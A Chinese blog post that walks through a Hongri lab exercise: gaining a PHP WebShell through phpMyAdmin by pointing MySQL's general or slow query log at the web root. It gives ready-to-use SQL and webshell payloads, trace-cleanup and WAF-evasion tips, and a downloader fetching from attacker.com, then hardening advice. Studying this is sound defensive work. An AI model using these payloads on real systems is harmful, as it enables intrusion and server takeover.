MySQL日志写入WebShell攻击原理与防御实战

1. 项目概述:一次经典的数据库日志写入攻击复盘

最近在复盘红日靶场的内网渗透实战,其中通过phpMyAdmin日志写入获取WebShell的环节,堪称一次教科书级的“权限提升”与“横向移动”的起点。很多朋友可能听说过这个手法,但实际操作中总会遇到各种“坑”,比如日志路径不对、权限不足、写入的Shell无法执行等等。今天,我就以红日靶场1的环境为例,结合我踩过的坑和总结的经验,把从发现phpMyAdmin到最终稳定获取WebShell的完整过程,掰开揉碎了讲清楚。这不仅仅是复现一个攻击步骤,更重要的是理解每一步背后的原理、条件以及在不同环境下的变通方法。无论你是正在学习渗透测试的新手,还是想巩固Web安全知识的老兵,相信这篇详细的复盘都能给你带来一些启发。

2. 核心攻击链与前置条件分析

2.1 攻击路径全景图

这次攻击的核心路径非常清晰,可以概括为: 信息收集 -> 发现phpMyAdmin -> 弱口令爆破/登录 -> 利用MySQL日志功能写入WebShell -> 连接WebShell建立据点 。这条路径之所以在红日靶场中有效,是因为靶场环境精心模拟了一个典型的安全疏漏场景:一个暴露在外网的Web服务器,运行着集成了phpStudy套件,其中phpMyAdmin管理界面可被直接访问,并且数据库使用了默认或弱口令。

2.2 关键前置条件深度解析

成功利用日志写入漏洞,绝非简单地执行几条SQL命令那么简单。它严格依赖于以下几个条件,缺一不可:

  1. 获取有效的数据库凭证 :这是第一道门。在红日靶场中,通常通过phpStudy探针页面泄露的信息、目录扫描发现phpMyAdmin、再结合常见的弱口令字典(如root/root, root/空密码)进行爆破获得。在实际环境中,这可能来源于其他漏洞(如SQL注入)导致的数据库信息泄露、配置文件中硬编码的密码、或者运维人员设置的简单密码。

  2. 数据库用户具备 FILE SUPER 权限 FILE 权限允许用户读取服务器上的文件,并在特定条件下写入文件。 SUPER 权限在MySQL 5.5.3之前是修改 global variables (如 general_log_file )所必需的。虽然在高版本中修改全局变量可能需要 SYSTEM_VARIABLES_ADMIN 权限,但 SUPER 权限通常也包含此能力。使用 SHOW GRANTS FOR CURRENT_USER; 命令可以查看当前用户的权限。

  3. 知晓Web目录的绝对路径 :这是决定WebShell能否被访问执行的关键。在红日靶场中,路径 D:/phpStudy/WWW/ 通过phpStudy探针页面直接暴露。其他常见泄露途径包括:Web应用的报错信息、通过 load_file() 函数读取配置文件(如php.ini)、或者利用一些PHP特性(如 phpinfo() )等。

  4. MySQL服务对Web目录有写入权限 :这是一个容易被忽略但至关重要的系统级条件。MySQL服务进程(通常是 mysqld )运行在某个系统用户(如 mysql nobody )下,这个用户必须对目标Web目录( D:/phpStudy/WWW/ )拥有写权限。在Windows环境下,可能需要检查该目录的ACL(访问控制列表);在Linux下,则需检查目录的属主、属组及权限位(如是否对 others 开放写权限 w )。

  5. secure_file_priv 系统变量的限制 :这是MySQL 5.5之后引入的重要安全特性。它限制了 LOAD DATA INFILE SELECT ... INTO OUTFILE 操作的文件目录。使用 SHOW GLOBAL VARIABLES LIKE ‘secure_file_priv’; 查看。如果其值为 NULL ,则禁止任何导入/导出操作;如果为具体目录(如 /tmp/ ),则只能在该目录下操作;如果为空( ‘’ ),则理论上无限制。 日志写入( general_log_file )不受此参数限制 ,这是它比 INTO OUTFILE 方法更常用的原因之一。

注意:在实战中,即使前4个条件都满足,也可能因为目标系统上的安全软件(如杀毒软件、Web应用防火墙WAF)或文件监控机制,导致写入的WebShell被立即删除或拦截。因此,写入后的访问和测试需要快速进行。

3. 详细攻击步骤与原理拆解

3.1 第一阶段:信息收集与入口定位

攻击始于对目标IP(红日靶场中为 192.168.0.105 )的端口扫描。使用Nmap进行基础扫描: nmap -sS -sV -p- 192.168.0.105 。结果通常会开放80端口(HTTP)和3306端口(MySQL)。访问80端口,大概率会看到一个phpStudy的探针页面( /phpinfo.php /l.php )。这个页面是信息金矿,它直接显示了:

  • 网站绝对路径 :例如 Document Root: D:/phpStudy/WWW
  • PHP版本及配置 :可能暴露 disable_functions 等安全设置。
  • MySQL连接信息 :有时甚至会显示数据库用户名(常为root)。

接下来,使用目录扫描工具(如Dirsearch、Gobuster)对Web目录进行爆破: dirsearch -u http://192.168.0.105 -e php 。关键目标是发现 /phpmyadmin/ /phpMyAdmin/ 目录。一旦发现,攻击的入口就找到了。

3.2 第二阶段:突破认证与权限确认

直接访问 http://192.168.0.105/phpmyadmin/ ,会跳转到登录页面。此时,利用从探针页面得到的信息(用户很可能是root)和常见弱口令进行尝试。在红日靶场中,使用 root 和空密码或 root 直接登录的成功率很高。

登录成功后,不要急于执行写入操作,先进行关键的权限和路径确认:

  1. 确认当前用户权限 :在SQL命令行中执行:

    SHOW GRANTS;
    

    或者

    SHOW GRANTS FOR CURRENT_USER;
    

    查看输出中是否包含 GRANT FILE ON *.* TO ... GRANT SUPER ON *.* TO ... (或 GRANT ALL PRIVILEGES ON *.* TO ... )。这是后续操作的法律依据。

  2. 二次确认Web绝对路径 :虽然从探针获得了路径,但最好通过数据库侧进行交叉验证。可以尝试执行一个无害的查询,利用Web应用特性或报错来确认。例如,在某些CMS中,可以通过查询数据库中的配置表来获取站点路径。在红日靶场环境中,我们信任探针信息即可。

3.3 第三阶段:利用日志写入WebShell

这是整个攻击的核心技术环节。MySQL有一个通用查询日志(General Query Log)功能,它会记录所有到达MySQL服务器的SQL语句。我们可以通过SQL命令动态修改这个日志的保存位置和开关状态。

详细操作步骤如下:

  1. 查看当前日志状态

    SHOW GLOBAL VARIABLES LIKE ‘%general_log%’;
    

    这条命令会返回两个关键变量:

    • general_log : 值为 ON OFF ,表示日志功能是否开启。
    • general_log_file : 日志文件的当前保存路径,例如 D:\phpStudy\MySQL\data\PC-20240101ABC.log
  2. 开启通用查询日志 (如果未开启):

    SET GLOBAL general_log = ‘ON’;
    

    执行成功后,MySQL会开始记录所有后续的SQL语句到当前的日志文件中。

  3. 修改日志文件路径到Web目录

    SET GLOBAL general_log_file = ‘D:/phpStudy/WWW/shell.php’;
    

    这里有几个至关重要的细节:

    • 路径分隔符 :在SQL语句中,即使目标系统是Windows,也建议使用正斜杠 / 。MySQL会正确处理。使用反斜杠 \ 需要进行转义( \\ ),容易出错。
    • 文件扩展名 :将日志文件直接设置为 .php 扩展名。这样,当Web服务器(如Apache)接收到对这个文件的请求时,会尝试将其作为PHP脚本解析。
    • 文件覆盖 :如果 D:/phpStudy/WWW/shell.php 这个文件已经存在,此操作会 覆盖 原文件内容。如果不存在,则会创建新文件。
  4. 写入WebShell代码

    SELECT ‘<?php @eval($_POST[“pass”]);?>’;
    

    执行一条 SELECT 查询,查询的内容就是我们想要写入的PHP一句话木马。由于通用查询日志正在开启状态,并且日志文件被指向了 shell.php ,这条 SELECT 语句本身(包括其查询结果)就会被完整地记录到 shell.php 文件中。 关键原理 :日志文件记录的是SQL语句的文本。当我们执行 SELECT ‘<?php ... ?>’; 时,MySQL会执行这个查询,返回结果 <?php ... ?> ,并将 整条SQL语句 SELECT ‘<?php ... ?>’; 写入日志文件。由于日志文件现在是 .php 文件,且其中包含了 <?php ... ?> 标签,Web服务器就会将其识别为PHP代码块。当通过Web访问这个文件时,服务器会解析执行 <?php ... ?> 内的代码,而日志中的其他部分(如 SELECT ‘ ’; )会被当作普通文本输出,通常不会影响PHP代码的执行。

  5. 关闭通用查询日志(清理痕迹)

    SET GLOBAL general_log = ‘OFF’;
    

    写入成功后,应立即关闭日志,避免后续大量的数据库查询记录覆盖我们的WebShell代码,同时也减少对目标系统性能的影响和留下过于明显的攻击痕迹。

  6. 将日志路径改回原值(可选,进一步隐蔽)

    SET GLOBAL general_log_file = ‘原路径’;
    

    这是一个更隐蔽的操作,将日志文件路径恢复为修改前的状态,使得管理员在检查日志配置时不易发现异常。

3.4 第四阶段:WebShell连接与验证

完成写入后,在浏览器或使用工具访问 http://192.168.0.105/shell.php 。页面可能会显示一些文本(即日志内容),如 SELECT ‘<?php @eval($_POST[“pass”]);?>’; 。这看起来像是代码被直接显示出来了,但别急,这通常是 因为没有用POST方式传递参数

使用中国蚁剑(AntSword)、冰蝎(Behinder)或哥斯拉(Godzilla)等WebShell管理工具进行连接。

  • 连接地址 http://192.168.0.105/shell.php
  • 连接密码 pass (即我们写在 $_POST[“pass”] 中的键名)
  • 加密器 :选择与写入代码匹配的。我们写的是 @eval($_POST[“pass”]); ,这是最基础的 eval 执行,在蚁剑中通常对应 default (无加密)或 base64 编码。首次连接可以尝试 default

点击连接,如果一切顺利,工具会列出服务器的目录结构,标志着WebShell连接成功,我们已经获得了该Web服务权限下的系统命令执行能力。

4. 实战中遇到的典型问题与解决方案

4.1 写入成功但访问404或空白页

  • 问题描述 :执行SQL命令没有报错,但访问 shell.php 返回404 Not Found或空白页。
  • 排查思路
    1. 路径错误 :这是最常见的原因。再次确认Web绝对路径。可以尝试在phpMyAdmin中,通过 SELECT ‘test’ INTO OUTFILE ‘D:/phpStudy/WWW/test.txt’; (如果 secure_file_priv 允许)来测试写入权限和路径是否正确。如果 INTO OUTFILE 被禁用,可以尝试利用MySQL读取系统文件来验证路径,例如通过报错信息。
    2. 权限不足 :MySQL服务账户对目标目录无写权限。在红日靶场(Windows)中,可以尝试写入其他可能有写权限的目录,如 C:\\Windows\\Temp\\ D:/phpStudy/tmp/ ,但这样写入的Shell无法通过Web访问,只能作为中转。在Linux中,可以尝试 /tmp/ 目录。
    3. 代码被转义或过滤 :极少数情况下,如果目标MySQL或PHP配置了严格的过滤,可能会对日志内容中的 < ? $ 等字符进行转义。可以尝试编码后的WebShell,例如:
      SELECT ‘<?php eval(base64_decode($_POST[“z”]));?>’;
      
      然后连接时传递 z=base64编码的指令

4.2 访问shell.php显示源码而非执行

  • 问题描述 :浏览器访问 shell.php ,直接显示了 <?php @eval($_POST[“pass”]);?> 这行代码。
  • 原因与解决
    1. 文件未被解析 :这几乎可以断定是 文件扩展名问题 .php 文件没有被PHP解析器处理。检查Web服务器(如Apache)的配置,确保 .php 扩展名已正确关联到PHP处理器( AddType application/x-httpd-php .php )。在红日靶场中,phpStudy环境默认是配置好的。如果路径或配置有误,可以尝试其他可解析的扩展名,如 .phtml .php5 等(取决于服务器配置)。
    2. 日志内容格式问题 :日志文件除了我们的 SELECT 语句,可能还包含时间戳、线程ID等信息,这些文本输出在 <?php ?> 标签之外是正常的,但如果它们被输出在了 <?php ?> 标签内部或破坏了标签结构,就会导致解析失败。确保你的 SELECT 语句是写入操作后立即执行的,且之前没有其他可能破坏结构的日志记录。一个更干净的方法是先关闭日志,修改路径,再开启日志,然后立即执行写入语句。

4.3 蚁剑等工具连接失败

  • 问题描述 :工具显示连接失败、超时或返回异常数据。
  • 排查思路
    1. 密码错误 :确认连接密码与写入代码中的POST键名完全一致,区分大小写。
    2. 加密方式不匹配 :我们写入的是最原始的 eval 类型,蚁剑连接时选择“默认编码”或“base64”通常可以。如果不行,可以尝试在WebShell代码中使用更复杂的编码,例如使用 assert 函数并配合base64:
      SELECT ‘<?php @assert(base64_decode($_POST[“z”]));?>’;
      
      然后在蚁剑连接时选择相应的 assert 编码器。
    3. 防火墙或安全软件拦截 :目标服务器可能安装了主机防火墙或安全软件,拦截了WebShell工具的特定流量特征。可以尝试在WebShell代码中加入简单的“免杀”技巧,如字符串拼接、函数动态调用等。
    4. WebShell代码本身有语法错误 :仔细检查写入的PHP代码,确保括号、引号、分号都成对且正确。最简单的测试方法是,写入一个输出 phpinfo() 的Shell:
      SELECT ‘<?php phpinfo(); ?>’;
      
      访问这个文件,如果能正常显示PHP信息页,说明写入和执行环境都没问题,问题就出在连接环节。

4.4 关于 secure_file_priv 的误区

很多初学者会混淆 SELECT ... INTO OUTFILE 和日志写入。当发现 secure_file_priv NULL 时,就认为无法通过数据库写文件了。 这是一个误区 secure_file_priv 仅限制 LOAD DATA INFILE SELECT ... INTO OUTFILE 语句。通过 SET GLOBAL general_log_file 修改日志路径,完全不受此参数限制。因此,在 INTO OUTFILE 被严格禁止的现代MySQL环境中(5.5+默认 NULL ), 日志写入往往是更可行的方案

5. 防御视角与安全加固建议

作为攻击者,我们研究技术;作为防御者,我们更需要知道如何防范。从这次攻击复盘,我们可以提炼出多层防御策略:

  1. 网络层隔离 :phpMyAdmin等数据库管理界面 绝对不应该 直接暴露在公网。应将其置于内网,通过VPN或跳板机进行访问。如果业务必须开放,应设置严格的IP白名单或通过Web应用防火墙(WAF)添加访问规则。

  2. 强身份认证

    • 禁用弱口令 :为MySQL的root用户设置高强度、复杂的密码。
    • 避免默认用户 :删除或禁用不必要的默认数据库用户。
    • 使用非root用户 :为Web应用创建专用的数据库用户,并遵循最小权限原则,只授予其业务所需数据库的 SELECT INSERT UPDATE DELETE 权限, 坚决不授予 FILE SUPER GRANT OPTION 等危险权限
  3. MySQL安全配置

    • 设置 secure_file_priv :在 my.cnf my.ini 配置文件中,明确设置 secure_file_priv = /some/secure/directory/ (指向一个非Web目录且MySQL有权限的目录),或者直接设为 NULL 以完全禁用文件导入导出。
    • 关闭通用查询日志 :在生产环境中,除非有明确的审计需求,否则应在配置文件中将 general_log 设置为 OFF ,并移除普通用户修改全局变量的权限。
    • 限制 general_log_file 路径 :如果必须开启日志,应在配置文件中固定日志文件路径,并确保该路径不在Web可访问目录下。
  4. 系统与文件权限

    • 运行账户降权 :确保MySQL服务以一个低权限的系统用户(如专用的 mysql 用户)运行。
    • 严格控制Web目录权限 :Web根目录的写权限应仅限于Web服务进程用户。绝对禁止MySQL进程用户对Web目录拥有写权限。
  5. Web应用安全

    • 删除探针文件 :部署完成后,立即删除 phpinfo.php l.php 等可能泄露服务器配置的探针文件。
    • 错误信息控制 :配置PHP和Web服务器,禁止向用户显示详细的错误信息,防止路径等敏感信息泄露。
    • 定期安全扫描 :使用自动化工具或人工方式,定期检查服务器上是否存在未授权的WebShell文件。

6. 攻击手法扩展与高级利用思路

在掌握基础日志写入之后,可以探索一些更隐蔽、更适应复杂环境的手法:

  1. 慢查询日志写入 :与通用查询日志类似,MySQL还有慢查询日志( slow_query_log slow_query_log_file )。攻击思路完全相同,只是修改的变量名不同。在某些配置下,慢查询日志可能默认关闭,但如果有权限开启,它同样是一个可用的写入通道。命令为:

    SET GLOBAL slow_query_log = 1;
    SET GLOBAL slow_query_log_file = ‘D:/phpStudy/WWW/slow_shell.php’;
    SELECT ‘<?php @eval($_POST[“s”]);?>’ OR SLEEP(11);
    

    注意,为了让查询被记录到慢查询日志,需要让查询执行时间超过 long_query_time (默认10秒),所以这里用了 OR SLEEP(11)

  2. 利用 into outfile 与日志结合 :如果 secure_file_priv 被设置为一个特定目录(如 /tmp/ ),虽然不能直接写到Web目录,但可以先写到 /tmp/ 下,然后尝试利用Web应用的其他功能(如文件上传、文件包含)去包含或移动这个文件。或者,如果Web目录是 /tmp/ 的子目录(极少数情况),也可以直接写。

  3. 编码与混淆绕过WAF :面对可能存在WAF的环境,可以对写入的WebShell代码进行多层编码或混淆。例如,使用Hex编码:

    SELECT 0x3C3F70687020406576616C28245F504F53545B2270617373225D293B203F3E;
    

    这串Hex解码后就是 <?php @eval($_POST[“pass”]); ?> 。但需要注意,这种方式写入后,文件内容是二进制Hex数据,需要确保Web服务器能正确解析。更稳妥的方式是在PHP代码内部进行解码。

  4. 利用MySQL特性构造一句话 :除了简单的 eval ,还可以利用 system passthru 等函数,或者通过写入一个小的下载器,从远程服务器拉取更大的木马。例如:

    SELECT ‘<?php file_put_contents(“shell.php”, file_get_contents(“http://attacker.com/big_shell.txt”)); ?>’;
    

复盘红日靶场的这个攻击链,最大的收获不是记住了几条SQL命令,而是理解了从外部信息泄露到内部权限获取的完整逻辑,以及每一个环节所依赖的脆弱配置。真正的渗透测试,三分靠工具,七分靠思路和对系统原理的理解。下次当你再看到phpMyAdmin登录框时,希望你能立刻在脑海里浮现出这条攻击链的全景图,以及与之对应的、层层递进的防御措施。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值